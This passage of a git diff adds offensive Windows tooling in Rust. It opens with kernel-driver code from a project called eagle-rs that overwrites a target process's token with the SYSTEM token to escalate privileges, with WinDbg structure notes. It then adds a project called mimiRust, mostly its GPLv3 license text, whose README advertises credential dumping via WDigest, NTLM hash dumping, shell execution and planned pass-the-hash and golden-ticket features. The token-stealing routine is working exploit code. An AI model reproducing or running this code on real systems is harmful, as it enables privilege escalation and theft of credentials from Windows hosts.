ID is always 4) + let system_process = match Process::by_id(4) { + Some(p) => p, + None => return STATUS_UNSUCCESSFUL, + }; + + // Dynamically get EPROCESS.TOKEN offset from PsReferencePrimaryToken + let eproccess_token_offset = match get_eprocess_token_offset() { + Some(e) => e, + None => return STATUS_UNSUCCESSFUL, + }; + + let target_token_address = unsafe { (target_process.eprocess.cast::().offset(eproccess_token_offset as isize)) as *mut u64}; + let system_token_address = unsafe { (system_process.eprocess.cast::().offset(eproccess_token_offset as isize)) as *mut u64 }; + + log::info!("target_token: {:?}, system_token {:?}", unsafe { target_token_address.read() }, unsafe { system_token_address.read() } ); + + unsafe { target_token_address.write(system_token_address.read()) }; + log::info!("W00TW00T NT AUTHORITY\\SYSTEM: {:#x}", unsafe { target_token_address.read() }); + + return STATUS_SUCCESS; + +} + +///Gets the EPROCESS.Token offset dynamically +pub fn get_eprocess_token_offset() -> Option { + + let unicode_function_name = &mut create_unicode_string( + obfstr::wide!("PsReferencePrimaryToken\0") + ) as *mut UNICODE_STRING; + + let base_address = get_function_base_address(unicode_function_name); + + if base_address.is_null() { + log::error!("PsReferencePrimaryToken is null"); + return None; + } + + let func_slice: &[u8] = unsafe { core::slice::from_raw_parts(base_address as *const u8, 0x19) }; //mov rdi,rcx + + //4883ec + let needle = [0x48, 0x83]; //4883ec20 sub rsp,20h + + if let Some(y) = func_slice.windows(needle.len()).position(|x| *x == needle) { + let position = y + 7; + let offset_slice = &func_slice[position..position + 2]; //u16::from_le_bytes takes 2 slices + let offset = u16::from_le_bytes(offset_slice.try_into().unwrap()); + log::info!("EPROCESS.TOKEN offset: {:#x}", offset); + return Some(offset); + } + + return None; + +} + + +/* +0: kd> dt nt!_EPROCESS + <...Omitted...> + +0x4b8 Token : _EX_FAST_REF + <...Omitted...> + +0: kd> dt nt!_TOKEN + <...Omitted...> + +0x040 Privileges : _SEP_TOKEN_PRIVILEGES + <...Omitted...> + +0: kd> dt nt!_SEP_TOKEN_PRIVILEGES + +0x000 Present : Uint8B + +0x008 Enabled : Uint8B + +0x010 EnabledByDefault : Uint8B + +0: kd> dt nt!_SEP_LOGON_SESSION_REFERENCES + +0x000 Next : Ptr64 _SEP_LOGON_SESSION_REFERENCES + +0x008 LogonId : _LUID + +0x010 BuddyLogonId : _LUID + +0x018 ReferenceCount : Int8B + +0x020 Flags : Uint4B + +0x028 pDeviceMap : Ptr64 _DEVICE_MAP + +0x030 Token : Ptr64 Void + +0x038 AccountName : _UNICODE_STRING + +0x048 AuthorityName : _UNICODE_STRING + +0x058 CachedHandlesTable : _SEP_CACHED_HANDLES_TABLE + +0x068 SharedDataLock : _EX_PUSH_LOCK + +0x070 SharedClaimAttributes : Ptr64 _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION + +0x078 SharedSidValues : Ptr64 _SEP_SID_VALUES_BLOCK + +0x080 RevocationBlock : _OB_HANDLE_REVOCATION_BLOCK + +0x0a0 ServerSilo : Ptr64 _EJOB + +0x0a8 SiblingAuthId : _LUID + +0x0b0 TokenList : _LIST_ENTRY + +0: kd> dt _sep_token_privileges ffff99081d2305b0+0x40 +nt!_SEP_TOKEN_PRIVILEGES + +0x000 Present : 0x0000001f`f2ffffbc + +0x008 Enabled : 0x0000001e`60b1e890 + +0x010 EnabledByDefault : 0x0000001e`60b1e890 + +0: kd> u PsReferencePrimaryToken +nt!PsReferencePrimaryToken: +fffff800`59268f70 48895c2410 mov qword ptr [rsp+10h],rbx +fffff800`59268f75 48896c2418 mov qword ptr [rsp+18h],rbp +fffff800`59268f7a 56 push rsi +fffff800`59268f7b 57 push rdi +fffff800`59268f7c 4156 push r14 +fffff800`59268f7e 4883ec20 sub rsp,20h +fffff800`59268f82 488db1b8040000 lea rsi,[rcx+4B8h] +fffff800`59268f89 488bf9 mov rdi,rcx +*/ \ No newline at end of file diff --git a/memN0ps/eagle-rs/notepad_protect.png b/memN0ps/eagle-rs/notepad_protect.png new file mode 100644 index 0000000..f757986 Binary files /dev/null and b/memN0ps/eagle-rs/notepad_protect.png differ diff --git a/memN0ps/eagle-rs/notepad_unprotect.png b/memN0ps/eagle-rs/notepad_unprotect.png new file mode 100644 index 0000000..7ad32ea Binary files /dev/null and b/memN0ps/eagle-rs/notepad_unprotect.png differ diff --git a/memN0ps/mimiRust/.cargo/config b/memN0ps/mimiRust/.cargo/config new file mode 100644 index 0000000..1c6fb1a --- /dev/null +++ b/memN0ps/mimiRust/.cargo/config @@ -0,0 +1,5 @@ +[target.x86_64-pc-windows-msvc] +rustflags = ["-Ctarget-feature=+crt-static", "-Clink-arg=/DEBUG:NONE"] + +[target.i686-pc-windows-msvc] +rustflags = ["-Ctarget-feature=+crt-static", "-Clink-arg=/DEBUG:NONE"] \ No newline at end of file diff --git a/memN0ps/mimiRust/.gitignore b/memN0ps/mimiRust/.gitignore new file mode 100644 index 0000000..b1646c2 --- /dev/null +++ b/memN0ps/mimiRust/.gitignore @@ -0,0 +1,2 @@ +target/ +*.lock \ No newline at end of file diff --git a/memN0ps/mimiRust/Cargo.toml b/memN0ps/mimiRust/Cargo.toml new file mode 100644 index 0000000..df28ab3 --- /dev/null +++ b/memN0ps/mimiRust/Cargo.toml @@ -0,0 +1,27 @@ +[package] +name = "mimiRust" +version = "0.1.0" +edition = "2018" + +[dependencies] +winapi = { version = "0.3", features = ["bcrypt", "winnt", "minwindef", "ntdef", "libloaderapi", "psapi", "securitybaseapi", "tlhelp32", "processthreadsapi", "handleapi"] } +winreg = "0.10.1" +kernel32-sys = "0.2.2" +memsec = "0.6.0" +libc = "0.2.15" +byteorder = "1.4.3" +sysinfo = "0.15.3" +anyhow = "1.0" +aes = "0.7.5" +block-modes = "0.8.1" +des = "0.0.2" +regex = "1.5.4" +clap = { version = "3.0.5", features = ["derive"] } +whoami = "1.2.1" +md-5 = "0.10.1" +console = "0.15.0" + +[profile.release] +panic = 'abort' +lto = true +opt-level = "z" \ No newline at end of file diff --git a/memN0ps/mimiRust/LICENSE b/memN0ps/mimiRust/LICENSE new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/memN0ps/mimiRust/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/memN0ps/mimiRust/README.md b/memN0ps/mimiRust/README.md new file mode 100644 index 0000000..493cb7b --- /dev/null +++ b/memN0ps/mimiRust/README.md @@ -0,0 +1,107 @@ +# MimiRust - Hacking the Windows operating system to hand us the keys to the kingdom with Rust. + + + + ███▄ ▄███▓ ██▓ ███▄ ▄███▓ ██▓ ██▀███ █ ██ ██████ ▄▄▄█████▓ + ▓██▒▀█▀ ██▒▓██▒▓██▒▀█▀ ██▒▓██▒▓██ ▒ ██▒ ██ ▓██▒▒██ ▒ ▓ ██▒ ▓▒ + ▓██ ▓██░▒██▒▓██ ▓██░▒██▒▓██ ░▄█ ▒▓██ ▒██░░ ▓██▄ ▒ ▓██░ ▒░ + ▒██ ▒██ ░██░▒██ ▒██ ░██░▒██▀▀█▄ ▓▓█ ░██░ ▒ ██▒░ ▓██▓ ░ + ▒██▒ ░██▒░██░▒██▒ ░██▒░██░░██▓ ▒██▒▒▒█████▓ ▒██████▒▒ ▒██▒ ░ + ░ ▒░ ░ ░░▓ ░ ▒░ ░ ░░▓ ░ ▒▓ ░▒▓░░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░ ▒ ░░ + ░ ░ ░ ▒ ░░ ░ ░ ▒ ░ ░▒ ░ ▒░░░▒░ ░ ░ ░ ░▒ ░ ░ ░ + ░ ░ ▒ ░░ ░ ▒ ░ ░░ ░ ░░░ ░ ░ ░ ░ ░ ░ + ░ ░ ░ ░ ░ ░ ░ + + written in Rust by ThottySploity + mimiRust $ means it's running without elevated privileges + mimiRust # means it's running with elevated privileges + mimiRust @ means it's running with system privileges + + + mimiRust @ ? + + Choose one of the following options: + + passwords: + • dump-credentials Dumps systems credentials through Wdigest. + • dump-hashes Dumps systems NTLM hashes (requires SYSTEM permissions). + • clear Clears the screen of any past output. + • exit Moves to top level menu + + pivioting: + • shell Execute a shell command through cmd, returns output. + • clear Clears the screen of any past output. + • exit Moves to top level menu + • (W.I.P)psexec Executes a service on another system. + • (W.I.P)pth Pass-the-Hash to run a command on another system. + • (W.I.P)golden-ticket Creates a golden ticket for a user account with the domain. + + privilege: + • spawn-path Spawn program with SYSTEM permissions from location. + • clear Clears the screen of any past output. + • exit Moves to top level menu + + mimiRust @ passwords + mimiRust::passwords @ dump-credentials + + +

MimiRust is a post-exploitation tool that can be used within redteam operations. Like the name suggests the entire project is made within the Rust language. MimiRust is capable of the following actions:

+
    +
  • Spawning any process as SYSTEM
  • +
  • Executing shell commands
  • +
